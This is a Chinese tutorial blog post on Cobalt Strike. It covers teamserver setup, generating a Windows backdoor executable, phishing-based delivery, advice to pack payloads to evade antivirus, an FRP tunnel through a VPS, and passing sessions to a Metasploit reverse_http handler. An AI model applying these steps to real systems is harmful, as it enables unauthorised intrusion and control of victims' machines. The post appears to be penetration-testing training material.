DAY41:Cobalt Strike 工具使用

DAY41:Cobalt Strike 工具使用

请添加图片描述

1、Cobalt Strike 概述

​ Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。

​ 自 3.0 以后已经不在使用 Metasploit 框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和 sessions,可模拟 APT 做模拟对抗,进行内网渗透。

​ Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe 木马生成,win dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑;

​ 钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自动攻击等等。

优点:CS 的多人协同、插件和图形化界面。

缺点:流量明显

1.1、目录结构

│ agscript 拓展应用的脚本
│ c2lint 检查profile的错误异常
│ cobaltstrike
│ cobaltstrike.jar 客户端程序
│ icon.jpg
│ license.pdf
│ readme.txt
│ releasenotes.txt
│ teamserver 服务端程序
│ update
│ update.jar
│
└─third-party 第三方工具
README.vncdll.txt
vncdll.x64.dll
vncdll.x86.dll

1.2、CS 配置

Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Cobalt Strike通信配置文件是 Malleable C2 你可以修改CS的通讯特征,Beacon payload的一些行为
Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。
CS 可以自由的加入所用插件,具体方法如下

请添加图片描述
请添加图片描述

找到.cna文件,在 CS 处点击脚本管理器

请添加图片描述
请添加图片描述

点击加载,在文件中选入之前找到的.cna文件,在上线主机右键就可以看到安装好的插件了

请添加图片描述

2、CS 的基本使用

2.1、CS 登录环境搭建

​ 首先,我们需要一台 VPS 或者自己搭建的服务器,VPS 与服务器必须提前将 CS 文件放入,这里我们用 kali 进行演示

请添加图片描述

已经将文件放入 kali ,在此文件夹中打开终端,执行命令

./teamserver 服务端IP地址 设置一个密码
./teamserver 192.168.xxx.xxx  123456

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间
# 启动Team Server
./teamserver 192.168.xxx.xxx 123456 # 设置强密码,否则容易被爆破

注意:如果没有权限运行,使用命令 sudo chmod +x teamserver 设置权限再运行就好了 但是上面命令 一旦窗口关闭了 teamserver 就会自动关掉 可以使用 nohup 命令设置后台运行

sudo nohup ./teamserver 192.168.xxx.xxx 123456 &

请添加图片描述

注意:使用 VPS 时需要将端口开放,否则将不会成功

2.2、CS 登录配置

在能 ping 通的任意主机打开 CS,并且登录
请添加图片描述

用户为 kali 名字,密码为设置密码,端口为 kali 中显示的端口,别名默认即可登录

(默认的监听端口是 54321 可以通过修改 teamserver 里的端口信息 改变默认端口)

请添加图片描述
请添加图片描述

新建连接
断开当前连接
监听器
改变视图为Pivot Graph(视图列表)
改变视图为Session Table(会话列表)
改变视图为Target Table(目标列表)
显示所有以获取的受害主机的凭证
查看已下载文件
查看键盘记录结果
查看屏幕截图
生成无状态的可执行exe木马
使用java自签名的程序进行钓鱼攻击
生成office宏病毒文件
为payload提供web服务以便下载和执行
提供文件下载,可以选择Mime类型
管理Cobalt Strike上运行的web服务
帮助
关于

​ 白色区域为我们客户机信息陈列位置,下方可以多人协作互动聊天,也是我们进行命令输入的地方

首先我们要生成一个监视器,监视器的作用是能够将输入内容返回回显

请添加图片描述

点击加号,将服务端也就是我们 kali 的 ip 写入,http 地址与服务端相同,配置端口默认为 80(建议修改为其他的),确认添加成功。

请添加图片描述

支持的协议
Beacon DNS
Beacon HTTP
Beacon HTTPS
Beacon SMB
Beacon TCP
External C2
Foreign HTTP
Foreign HTTPS
beacon是cobalt strike的内置监听器 包括dns、http、https、smb四种方式的监听器 foreign为外部监听器,配合Metasploit或者Armitage的监听器

2.3、CS 上线

​ 这里我们将 win10 作为我们的客户机,首先点击攻击,生成后门, 选择 windows 可执行文件

请添加图片描述
请添加图片描述

​ 监听器为我们的服务端,直接生成,路径为使用 CS 的主机内的路径,将生成的 payload 通过钓鱼手段诱导客户机点击或者 msf 漏洞攻击传入客户机当中运行。

注意:

(1)客户端与服务端与主机端也就是我们的kali,win10和使用CS的主机必须能相互 ping 通,否则上线不成功

(2)payload 默认生成会报毒,我们需要对其做免杀处理,多加几层壳过火绒,360,微软防火墙即可

此时我们将payload已经成功传入客户端,运行它

请添加图片描述
请添加图片描述

​ 可以看到 CS 这边上线了一台主机并且是主机当前用户的权限,接下来我们建立交互对话

请添加图片描述
请添加图片描述

​ 我们就可以对他执行各种操作啦,信息搜集,权限维持等,就看你的脚本给不给力了,右键客户端,选择所需的功能,选择各种操作这里我们进行查询管理员组

请添加图片描述
请添加图片描述

​ 可以看到下方的交互会话已经显示,当然我们也可以进行各种终端命令操作但是需要在交互会话下方的每一句命令前都写入 shell

请添加图片描述

3、CS 联动 MSF 使用(FRP 内网穿透)

​ MSF 的模块以及漏洞利用方面的支持是优于 CS 的, 某些内网探测模块一直都很好用,而且控制的好,动静也并不会非常大。因此接下来来探究下 Metasploit 后渗透框架以及和 CobaltStrike 的联动

3.1、FRP 下载

FRP 项目地址:https://github.com/fatedier/frp/releas

​ Frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网

​ 通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性

先通过 ./frps -c ./frps.ini 启动服务端,再通过 ./frpc -c ./frpc.ini 启动客户端

windows下:frps.exe -c frps.ini
Linux下:./frps -c ./frps.ini

​ 下面的服务端配置与客户端配置并不是 CS 的客户端与服务端,只是为了使两台能够相互通信,达成交互。而CS的服务端为VPS,

3.2、服务端配置

将下载的文件放在Vps,编辑 frps.ini 文件配置

tar -zxvf frp_0.43.0_linux_amd64.tar.gz
[common]
bind_port = 60121
dashboard_port = 88
dashboard_user = admin
dashboard_pwd = zcv2!#sWE3x

[common] # 名字
bind_port = port # 指的是frp的服务端端口,用来和客户端kali建立连接
dashboard_port = port # 可视化监控平台的端口,访问这个端口会得到一个网页版的监控
# http://服务端IP地址:88
dashboard_user = admin # 网页版的登录用户名
dashboard_pwd = zcv2!#sWE3x # 网页版的登录密码

请添加图片描述
请添加图片描述

配置好之后保存,进行运行

./frps -c ./frps.ini

请添加图片描述

3.3、客户端配置

​ 将文件放进客户端解压,配置客户端,让在本地内网的客户端,也能使用公网的 IP 进行访问,客户端的配置文件为frpc.ini

[common]
server_addr = xxx.xxx.xxx.xxx	//VPS地址
server_port = 60121(与上面的相同)

[common]名称
server_addr = 服务器IP
server_port = VPS的端口,用来建立连接

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 60122
use_compression = true

[ssh] 		# 配置ssh登录的端口转发
type = tcp 	 # 连接方式为TCP的方式
local_ip = 127.0.0.1 # 将本地的IP映射出去
local_port = 22 	 # 本地的端口为22
remote_port = 60122  # 映射的端口为60122,本地端口22映射到VPS的60122

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 60123

[msf] # 配置msf的监听端口转发
type = tcp # 连接方式
local_ip = 127.0.0.1 # 本地IP
local_port = 1234 # 监听本地的端口
remote_port = 60123 # 映射的VPS端口为60123,本地端口1234映射到VPS的60123

请添加图片描述

接着,服务端运行,将 CS 已上线的机器进行反弹到本地 MSF

./frps -c ./frps.ini

请添加图片描述

3.4、CS 监听上线

首先需要一个已经上线的客户机

新建一个监听器

请添加图片描述
请添加图片描述

再新建一个监听器用来弹到 kali 客户机上

请添加图片描述

选择Foreign HTTP的 payload ,http 地址为 VPS 设置地址,端口同上

这时需要一个上线的客户端,与 2 相同就不多说了

请添加图片描述

3.5、msf 设置监听

由于上面frpc.ini配置的 msf 的1234端口映射到 Vps 的60123端口

所以应该监听本地的1234端口,这里要写 reverse_http,与CS对应

msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_http; set lhost 127.0.0.1; set lport 1234; exploit -j; "

请添加图片描述

3.6、CS 添加会话

右键上线机,选择新建会话

请添加图片描述

选择 MSF 的监听端口为 60123

进入 kali 的 msf ,输入以下指令

msfconsole 
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 127.0.0.1
set lport 1234
exploit -j

由于上面frpc.ini配置的 msf 的 1234 端口映射到VPS的 60123,应该监听本地的1234端口,这里要写 reverse_http,与CS对应

可以看到,jobs有一个映射
请添加图片描述

增加会话 – 选择CS-MSF,确定
请添加图片描述

可以看到 MSF 已经上线

请添加图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值